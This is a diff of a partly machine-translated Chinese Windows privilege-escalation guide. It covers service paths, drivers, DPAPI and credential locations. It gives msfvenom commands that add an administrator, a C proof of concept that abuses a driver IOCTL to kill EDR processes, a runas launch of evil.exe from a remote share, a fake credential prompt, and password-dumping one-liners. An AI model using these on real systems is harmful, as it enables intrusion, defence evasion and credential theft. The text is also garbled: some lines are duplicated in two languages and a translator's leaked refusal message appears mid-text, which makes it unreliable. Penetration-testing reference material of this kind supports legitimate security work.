Windows 服务的情况下,这 **足以执行任意代码:** +如果你对某个注册表拥有此权限,这意味着 **你可以从该注册表创建子注册表**。在 Windows 服务的情况下,这 **足以执行任意代码:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -547,15 +552,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. +如果可执行文件的路径没有用引号括起来,Windows 会尝试执行每个空格前的结尾部分。 -For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: +例如,对于路径 _C:\Program Files\Some Folder\Service.exe_ Windows 会尝试执行: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -列出所有未加引号的服务路径(排除属于内置 Windows 服务的): +列出所有未加引号的服务路径(不包括属于内置 Windows 服务的那些): ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -575,19 +580,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**您可以检测并利用** 此漏洞 使用 metasploit: `exploit/windows/local/trusted\_service\_path` 您可以手动使用 metasploit 创建一个服务二进制文件: +**你可以使用 metasploit 检测并利用** 这个漏洞: `exploit/windows/local/trusted\_service\_path` 你可以手动使用 metasploit 创建一个服务二进制文件: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### 恢复操作 -Windows 允许用户指定当服务失败时要执行的操作。该功能可以配置为指向某个 binary。如果该 binary 可被替换,则可能发生 privilege escalation。更多细节见 [官方文档](). +Windows 允许用户指定当服务失败时要执行的操作。此功能可以配置为指向一个 binary。如果该 binary 可被替换,则可能发生 privilege escalation。更多细节请见 [官方文档](). -## 应用 +## 应用程序 ### 已安装的应用程序 -检查 **binaries 的权限**(也许你可以覆盖其中一个并进行 privilege escalation)以及 **文件夹**([DLL Hijacking](dll-hijacking/index.html))。 +检查 **binaries 的权限**(也许你可以覆盖其中一个并进行 privilege escalation)以及 **folders 的权限**([DLL Hijacking](dll-hijacking/index.html))。 ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -598,9 +603,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### 写入权限 -检查是否可以修改某些配置文件以读取某些特殊文件,或者是否可以修改将由 Administrator 账户执行的某个二进制文件(schedtasks)。 +检查是否可以修改某些配置文件以读取某些特殊文件,或是否可以修改将由 Administrator 账户(schedtasks)执行的二进制文件。 -在系统中查找弱的文件夹/文件权限的一种方法是执行: +在系统中查找弱文件夹/文件权限的一种方法是执行: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -623,33 +628,67 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### 在启动时运行 +### 启动时运行 + +**检查是否可以覆盖某些 registry 或 binary,这些将由不同的用户执行。**\ +**阅读** **以下页面** 以了解更多关于有趣的 **autoruns locations to escalate privileges**: -**检查是否可以覆盖将由其他用户执行的某些注册表或可执行文件。**\ -**阅读** **以下页面** 以了解更多关于有趣的 **autoruns locations to escalate privileges**: {{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}} -### 驱动程序 +### Drivers -查找可能的 **第三方异常/易受攻击** 驱动程序 +查找可能的 **third party weird/vulnerable** drivers ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -如果一个 driver 暴露了 arbitrary kernel read/write primitive(常见于设计不良的 IOCTL handlers),你可以通过直接从 kernel memory 窃取 SYSTEM token 来提升权限。详见分步技术: +如果驱动暴露了任意内核读/写原语(在设计不佳的 IOCTL 处理程序中常见),你可以通过直接从内核内存窃取 SYSTEM token 来提升权限。逐步技术见: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} +#### 滥用 device 对象上缺失的 FILE_DEVICE_SECURE_OPEN(LPE + EDR kill) + +一些签名的第三方驱动通过 IoCreateDeviceSecure 使用严格的 SDDL 创建其 device 对象,但忘记在 DeviceCharacteristics 中设置 FILE_DEVICE_SECURE_OPEN。缺少该标志时,当通过包含额外组件的路径打开设备时,安全 DACL 不会被强制执行,从而允许任何非特权用户通过使用如下命名空间路径获得句柄: + +- \\ .\\DeviceName\\anything +- \\ .\\amsdk\\anyfile (from a real-world case) + +一旦用户能够打开该设备,驱动暴露的特权 IOCTLs 就可以被滥用于 LPE 和篡改。以下是在实战中观测到的示例能力: +- 返回对任意进程的完全访问句柄(token theft / 通过 DuplicateTokenEx/CreateProcessAsUser 获取 SYSTEM shell)。 +- 不受限制的原始磁盘读/写(离线篡改、启动时持久化技巧)。 +- 终止任意进程,包括 Protected Process/Light (PP/PPL),允许通过内核从用户态终结 AV/EDR。 + +Minimal PoC 模式(user mode): +```c +// Example based on a vulnerable antimalware driver +#define IOCTL_REGISTER_PROCESS 0x80002010 +#define IOCTL_TERMINATE_PROCESS 0x80002048 + +HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); +DWORD me = GetCurrentProcessId(); +DWORD target = /* PID to kill or open */; +DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); +DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); +``` +开发者缓解措施 +- 在创建应由 DACL 限制的设备对象时,始终设置 FILE_DEVICE_SECURE_OPEN。 +- 在执行特权操作前验证调用者上下文。在允许进程终止或返回句柄之前添加 PP/PPL 检查。 +- 限制 IOCTLs(访问掩码、METHOD_*、输入验证),并考虑使用 brokered models 而不是直接的内核权限。 + +防御者检测思路 +- 监控用户模式对可疑设备名的打开(例如 \\ .\\amsdk*)以及指示滥用的特定 IOCTL 序列。 +- 强制执行 Microsoft 的 vulnerable driver blocklist(HVCI/WDAC/Smart App Control),并维护自己的 allow/deny lists。 + ## PATH DLL Hijacking -如果你在 PATH 中的某个文件夹具有 **write permissions**,你可能能够 hijack 一个被进程加载的 **DLL** 并 **escalate privileges**。 +If you have **write permissions inside a folder present on PATH** you could be able to hijack a DLL loaded by a process and **escalate privileges**. 检查 PATH 中所有文件夹的权限: ```bash @@ -671,13 +710,13 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` -### hosts 文件 +### hosts file -检查 hosts 文件中是否硬编码了其他已知主机 +检查 hosts file 中是否硬编码了其他已知计算机 ``` type C:\Windows\System32\drivers\etc\hosts ``` -### 网络接口与 DNS +### 网络接口 & DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address @@ -685,7 +724,7 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### 开放端口 -从外部检查 **受限服务** +从外部检查是否存在 **受限服务** ```bash netstat -ano #Opened ports? ``` @@ -699,7 +738,7 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Firewall Rules +### 防火墙规则 [**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(列出规则、创建规则、关闭、关闭...)** @@ -710,18 +749,18 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -二进制 `bash.exe` 也可以在 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` 找到 +二进制 `bash.exe` 也可以在 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` 中找到 -如果你获得 root user,你可以监听任何端口(第一次使用 `nc.exe` 监听端口时,GUI 会询问是否允许 nc 被防火墙放行)。 +如果你获得 root 用户,你可以监听任何端口(第一次使用 `nc.exe` 在端口上监听时,GUI 会询问是否允许 `nc` 通过防火墙)。 ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -要以 root 身份轻松启动 bash,可以尝试 `--default-user root` +要轻松以 root 启动 bash,可以尝试 `--default-user root` -你可以在文件夹 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 中浏览 `WSL` 的文件系统 +您可以在文件夹 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 中浏览 `WSL` 文件系统 ## Windows 凭据 @@ -737,14 +776,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Credentials manager / Windows vault +### 凭据管理器 / Windows vault -来自 [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault]\ -Windows Vault 存储用于服务器、网站和其他程序的用户凭据,供 **Windows** **可以自动为用户登录**y。乍一看,用户似乎可以将他们的 Facebook 凭据、Twitter 凭据、Gmail 凭据等存储在其中,以便通过浏览器自动登录。但情况并非如此。 +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Windows Vault 存储用于服务器、网站和其他程序的用户凭据,这些凭据可以被 **Windows** **自动为用户登录**。乍一看,用户可能认为可以在此存储他们的 Facebook、Twitter、Gmail 等凭据,从而通过浏览器自动登录。但事实并非如此。 -Windows Vault 存储 Windows 可以自动为用户登录的凭据,这意味着任何 **Windows application that needs credentials to access a resource**(服务器或网站)**can make use of this Credential Manager** 与 Windows Vault,并使用所提供的凭据,而不是让用户每次都输入用户名和密码。 +Windows Vault 存储那些可以被 Windows 自动登录的凭据,这意味着任何 **需要凭据来访问资源的 Windows 应用程序**(服务器或网站)**可以使用这个 Credential Manager** 和 Windows Vault,使用所提供的凭据,而不是让用户每次输入用户名和密码。 -除非应用程序与 Credential Manager 交互,否则我认为它们无法使用某个资源的凭据。因此,如果你的应用想使用 vault,它应该以某种方式 **communicate with the credential manager and request the credentials for that resource** 从默认存储 vault 获取该资源的凭据。 +除非应用程序与 Credential Manager 交互,否则我认为它们不可能使用某个资源的凭据。因此,如果你的应用程序想使用 vault,它应该以某种方式**与 credential manager 通信并从默认存储 vault 请求该资源的凭据**。 使用 `cmdkey` 列出机器上存储的凭据。 ```bash @@ -754,7 +793,7 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -然后你可以使用 `runas` 和 `/savecred` 选项来使用已保存的凭据。下面的示例通过 SMB 共享调用远程可执行文件。 +然后你可以使用 `runas` 并加上 `/savecred` 选项来使用已保存的凭据。下面的例子通过 SMB share 调用远程 binary。 ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` @@ -766,37 +805,37 @@ C:\Windows\System32\runas.exe /env /noprofile /user: "c:\us ### DPAPI -The **Data Protection API (DPAPI)** 提供了一种用于数据对称加密的方法,主要在 Windows 操作系统中用于对非对称私钥的对称加密。该加密利用用户或系统的秘密在熵中起到重要作用。 +The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy. -**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**。在涉及系统加密的场景中,它使用系统的域身份验证秘密。 +**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets. -使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中,其中 `{SID}` 表示用户的 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI key 与保护用户私钥的主密钥共存于同一文件中**,通常由 64 字节的随机数据组成。(需要注意的是,访问此目录受到限制,无法通过 CMD 中的 `dir` 命令列出其内容,但可以通过 PowerShell 列出。) +使用 DPAPI 加密的用户 RSA 密钥存储在 `%APPDATA%\Microsoft\Protect\{SID}` 目录中,其中 `{SID}` 表示用户的 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)。**DPAPI 密钥与同一文件中保护用户私钥的主密钥共存**,通常由 64 字节的随机数据组成。(需要注意的是,对该目录的访问受到限制,无法通过 CMD 中的 `dir` 命令列出其内容,但可以通过 PowerShell 列出。) ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` 你可以使用 **mimikatz module** `dpapi::masterkey` 并带上适当的参数(`/pvk` 或 `/rpc`)来解密它。 -这些 **credentials files protected by the master password** 通常位于: +**由主密码保护的凭据文件**通常位于: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -你可以使用 **mimikatz module** `dpapi::cred` 并使用适当的 `/masterkey` 来解密。\ -你可以使用 `sekurlsa::dpapi` 模块从 **内存** 中 **提取** 许多 **DPAPI** **主密钥**(如果你是 root)。 +你可以使用 **mimikatz module** `dpapi::cred` 并配合相应的 `/masterkey` 来 decrypt.\ +你可以使用 `sekurlsa::dpapi` 模块 **extract many DPAPI** **masterkeys** 从 **memory** 中(如果你是 root)。 {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### PowerShell 凭据 +### PowerShell Credentials -**PowerShell 凭据** 通常用于 **脚本** 和自动化任务,作为便捷地存储加密凭据的方式。凭据使用 **DPAPI** 进行保护,这通常意味着它们只能由在创建它们的同一台计算机上的相同用户解密。 +**PowerShell credentials** 经常用于 **scripting** 和自动化任务,作为一种便捷的方式来存储 encrypted credentials。 这些 credentials 使用 **DPAPI** 保护,通常意味着它们只能被创建它们的同一用户在同一台计算机上 decrypt。 -要从包含它的文件中**解密** PS 凭据,你可以执行: +要从包含它的文件中 **decrypt** 一个 PS credentials,你可以执行: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -816,42 +855,33 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### 已保存的 RDP 连接 +### Saved RDP Connections 你可以在 `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -以及在 `HKCU\Software\Microsoft\Terminal Server Client\Servers\` +和 `HKCU\Software\Microsoft\Terminal Server Client\Servers\` 找到它们。 ### 最近运行的命令 ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **远程桌面凭据管理器** +### **远程桌面凭证管理器** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ -使用 **Mimikatz** `dpapi::rdg` 模块并提供合适的 `/masterkey` 来 **解密任何 .rdg 文件**\ - -You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module -可以使用 **Mimikatz** 的 `sekurlsa::dpapi` 模块从内存中 **提取许多 DPAPI masterkeys** +使用 **Mimikatz** 的 `dpapi::rdg` 模块并使用适当的 `/masterkey` 来**解密任何 .rdg 文件**`\ +可以使用 **Mimikatz** 的 `sekurlsa::dpapi` 模块从内存中**提取大量 DPAPI masterkeys** ### Sticky Notes -People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. -许多人在 Windows 工作站上使用 StickyNotes 应用来 **保存密码** 及其他信息,但并不知道它是一个数据库文件。该文件位于 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,值得查找并进行分析。 +很多人在 Windows 工作站上使用 StickyNotes 应用来**保存密码**和其他信息,却没有意识到它是一个数据库文件。该文件位于 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,始终值得查找和检查。 ### AppCmd.exe -**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ -**注意:要从 AppCmd.exe 恢复密码,你需要是 Administrator 并在 High Integrity 权限级别下运行。**\ +**注意:要从 AppCmd.exe 恢复密码,你需要以 管理员 身份 并在 高完整性 级别 下运行。**\ +**AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录。\ +如果该文件存在,则可能已配置了某些 **credentials**,并且可以**恢复**。 -**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ -**AppCmd.exe** 位于 `%systemroot%\system32\inetsrv\` 目录下。\ -If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. -如果该文件存在,则可能已配置一些 **credentials**,且可以被 **recovered**。 - -This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): 此代码摘自 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { @@ -933,15 +963,15 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM 检查是否存在 `C:\Windows\CCM\SCClient.exe` .\ -安装程序 **以 SYSTEM privileges 运行**,许多易受 **DLL Sideloading(信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。** +安装程序以 **run with SYSTEM privileges**, 许多易受 **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## 文件和注册表(凭据) +## 文件和注册表 (Credentials) -### Putty 凭据 +### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` @@ -949,21 +979,22 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### 注册表中的 SSH 密钥 +### 注册表中的 SSH 私钥 -SSH 私钥可以存储在注册表键 `HKCU\Software\OpenSSH\Agent\Keys` 中,因此你应该检查里面是否有任何有趣的内容: +SSH 私钥可以存储在注册表键 `HKCU\Software\OpenSSH\Agent\Keys` 中,因此您应该检查那里是否有任何有趣的内容: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -如果你在该路径中发现任何条目,它很可能是一个已保存的 SSH key。它以加密形式存储,但可以使用 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) 轻松解密。\ -更多关于此技术的信息: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +如果在该路径中发现任何条目,它可能是保存的 SSH 密钥。它以加密形式存储,但可以使用 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) 轻松解密。\ -如果 `ssh-agent` 服务未运行,并且你希望它在启动时自动启动,请运行: +有关此技术的更多信息: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) + +如果 `ssh-agent` 服务未运行且您希望它在启动时自动启动,请运行: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> 看起来此技术不再有效。我尝试创建一些 ssh keys,用 `ssh-add` 添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在,procmon 在 asymmetric key authentication 期间也没有识别到 `dpapi.dll` 的使用。 +> 该技术似乎已不再有效。我尝试创建一些 ssh 密钥,使用 `ssh-add` 添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在,procmon 在进行非对称密钥认证时也未检测到对 `dpapi.dll` 的使用。 ### 无人值守的文件 ``` @@ -980,7 +1011,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -你也可以使用 **metasploit** 搜索这些文件:_post/windows/gather/enum_unattend_ +你也可以使用 **metasploit** 来搜索这些文件:_post/windows/gather/enum_unattend_ 示例内容: ```xml @@ -1023,15 +1054,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -搜索名为 **SiteList.xml** 的文件 +Search for a file called **SiteList.xml** -### 缓存的 GPP 密码 +### 已缓存的 GPP 密码 -之前有一个功能允许通过 Group Policy Preferences (GPP) 在一组机器上部署自定义本地管理员帐户。然而,该方法存在严重的安全缺陷。首先,Group Policy Objects (GPOs) 作为 XML 文件存储在 SYSVOL 中,任何域用户都可以访问。其次,这些 GPP 中的密码使用公开记录的默认密钥以 AES256 加密,任何经过身份验证的用户都可以将其解密。这构成严重风险,可能允许用户获得提升的权限。 +以前有一项功能允许通过 Group Policy Preferences (GPP) 在一组计算机上部署自定义本地管理员账户。然而,该方法存在严重的安全缺陷。首先,作为 XML 文件存储在 SYSVOL 中的 Group Policy Objects (GPOs) 可以被任何域用户访问。其次,这些 GPP 中的密码使用公开记录的默认密钥通过 AES256 加密,任何经过身份验证的用户都可以解密。这带来了严重风险,因为它可能允许用户获取提权权限。 -为减轻该风险,开发了一个函数,用于扫描本地缓存的包含非空 "cpassword" 字段的 GPP 文件。找到此类文件后,函数会解密密码并返回一个自定义的 PowerShell 对象。该对象包含有关 GPP 以及文件位置的详细信息,有助于识别并修复此安全漏洞。 +为减轻此风险,开发了一个函数,用于扫描本地缓存的包含非空 "cpassword" 字段的 GPP 文件。找到此类文件后,函数会解密密码并返回一个自定义 PowerShell 对象。该对象包含有关 GPP 及其文件位置的详细信息,有助于识别和修复此安全漏洞。 -在 `C:\ProgramData\Microsoft\Group Policy\history` 或在 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**(在 W Vista 之前)_ 中搜索这些文件: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml @@ -1063,7 +1094,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -包含凭据的 web.config 示例: +带凭据的 web.config 示例: ```xml @@ -1073,7 +1104,7 @@ Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction ``` -### OpenVPN 凭证 +### OpenVPN 凭据 ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1093,7 +1124,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Logs +### 日志 ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1101,9 +1132,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### 请求 credentials +### 询问 credentials -你可以始终**要求用户输入他的 credentials 或甚至其他用户的 credentials**,如果你认为他可能知道它们(注意,**直接询问** 客户以获取 **credentials** 是非常**危险**): +你可以随时**要求用户输入他的 credentials,甚至是另一个用户的 credentials**,如果你认为他可能知道它们(注意,直接向客户端**询问**这些 **credentials** 是非常**危险**的): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1111,9 +1142,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **可能包含凭证的文件名** +### **可能包含 credentials 的文件名** -已知有些文件曾包含以**明文**或**Base64**形式存储的**密码** +已知曾经包含 **passwords**(以 **clear-text** 或 **Base64** 存储)的文件 ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1177,7 +1208,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -我需要该文件的内容才能进行翻译。请粘贴 src/windows-hardening/windows-local-privilege-escalation/README.md 的完整文本,或授予我访问该文件的内容。 +我无法直接访问你的文件系统或代码仓库。请把 src/windows-hardening/windows-local-privilege-escalation/README.md 的内容(或你想要我翻译的所有文件内容)粘贴到这里,我会按你的要求把其中的英语文本翻译成中文,保持原有的 markdown/HTML 语法、路径、标签和代码不变,并遵守不翻译特定词汇的规则。 ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1188,25 +1219,25 @@ Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct ``` ### 回收站中的凭据 -你还应该检查回收站,以查找其中的凭据 +你还应该检查回收站以查找其中的凭据 -要 **恢复密码**(由多个程序保存),可以使用: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +要 **恢复由多个程序保存的密码**,可以使用: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### 注册表中 +### 在注册表中 -**可能包含凭据的其他注册表键** +**其他可能包含凭据的注册表键** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**从注册表提取 openssh 密钥。**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -### 浏览器历史记录 +### 浏览器历史 -你应该检查存储 **Chrome 或 Firefox** 密码的 dbs。\ -也要检查浏览器的历史、书签和收藏夹,因为可能有一些 **密码** 存储在那里。 +你应该检查存放 **Chrome or Firefox** 密码的数据库。 +也要检查浏览器的历史、书签和收藏夹,因为某些 **密码** 可能就存放在那里。 Tools to extract passwords from browsers: @@ -1215,17 +1246,17 @@ Tools to extract passwords from browsers: - [**SharpChromium**](https://github.com/djhohnstein/SharpChromium) - [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) -### **COM DLL Overwriting** +### **COM DLL 覆写** -Component Object Model (COM) 是 Windows 操作系统内置的一种技术,允许不同语言的软件组件之间进行相互通信。每个 COM 组件通过 class ID (CLSID) 标识,每个组件通过一个或多个接口暴露功能,接口由 interface IDs (IIDs) 标识。 +Component Object Model (COM) 是内置于 Windows 操作系统的一项技术,允许不同语言的软件组件之间进行互相通信。每个 COM 组件通过 class ID (CLSID) 